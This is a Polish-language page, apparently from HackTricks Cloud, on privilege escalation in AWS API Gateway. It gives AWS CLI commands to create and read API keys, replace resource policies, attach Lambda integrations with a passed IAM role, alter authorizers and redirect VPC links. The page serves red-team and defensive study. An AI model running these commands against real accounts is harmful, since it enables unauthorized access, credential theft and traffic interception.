{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Aby uzyskać więcej informacji, sprawdź:
{% content-ref url="../aws-services/aws-api-gateway-enum.md" %} aws-api-gateway-enum.md {% endcontent-ref %}
Dzięki temu uprawnieniu możesz generować klucze API dla skonfigurowanych API (na region).
aws --region <region> apigateway create-api-key
Potencjalny wpływ: Nie możesz uzyskać podwyższonych uprawnień za pomocą tej techniki, ale możesz uzyskać dostęp do wrażliwych informacji.
Dzięki temu uprawnieniu możesz uzyskać wygenerowane klucze API skonfigurowanych API (na region).
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
Potencjalny wpływ: Nie możesz uzyskać podwyższonych uprawnień za pomocą tej techniki, ale możesz uzyskać dostęp do wrażliwych informacji.
Dzięki tym uprawnieniom możliwe jest modyfikowanie polityki zasobów API, aby uzyskać dostęp do jego wywołania i nadużyć potencjalnego dostępu, jaki może mieć brama API (np. wywołując podatną lambdę).
{% code overflow="wrap" %}
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
{% endcode %}
Potencjalny wpływ: Zazwyczaj nie będziesz w stanie bezpośrednio uzyskać podwyższonych uprawnień za pomocą tej techniki, ale możesz uzyskać dostęp do wrażliwych informacji.
{% hint style="info" %} Wymaga testowania {% endhint %}
Napastnik z uprawnieniami apigateway:PutIntegration
, apigateway:CreateDeployment
i iam:PassRole
może dodać nową integrację do istniejącego API Gateway REST API z funkcją Lambda, która ma przypisaną rolę IAM. Napastnik może następnie wywołać funkcję Lambda, aby wykonać dowolny kod i potencjalnie uzyskać dostęp do zasobów związanych z rolą IAM.
{% code overflow="wrap" %}
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
{% endcode %}
Potencjalny wpływ: Dostęp do zasobów związanych z rolą IAM funkcji Lambda.
{% hint style="info" %} Wymaga testowania {% endhint %}
Napastnik z uprawnieniami apigateway:UpdateAuthorizer
i apigateway:CreateDeployment
może zmodyfikować istniejącego autoryzatora API Gateway, aby obejść kontrole bezpieczeństwa lub wykonać dowolny kod podczas składania żądań API.
{% code overflow="wrap" %}
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
{% endcode %}
Potencjalny wpływ: Ominięcie kontroli bezpieczeństwa, nieautoryzowany dostęp do zasobów API.
{% hint style="info" %} Wymaga testowania {% endhint %}
Napastnik z uprawnieniem apigateway:UpdateVpcLink
może zmodyfikować istniejące połączenie VPC, aby wskazywało na inny Load Balancer, potencjalnie przekierowując prywatny ruch API do nieautoryzowanych lub złośliwych zasobów.
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
Potencjalny wpływ: Nieautoryzowany dostęp do prywatnych zasobów API, przechwytywanie lub zakłócanie ruchu API.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się sztuczkami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.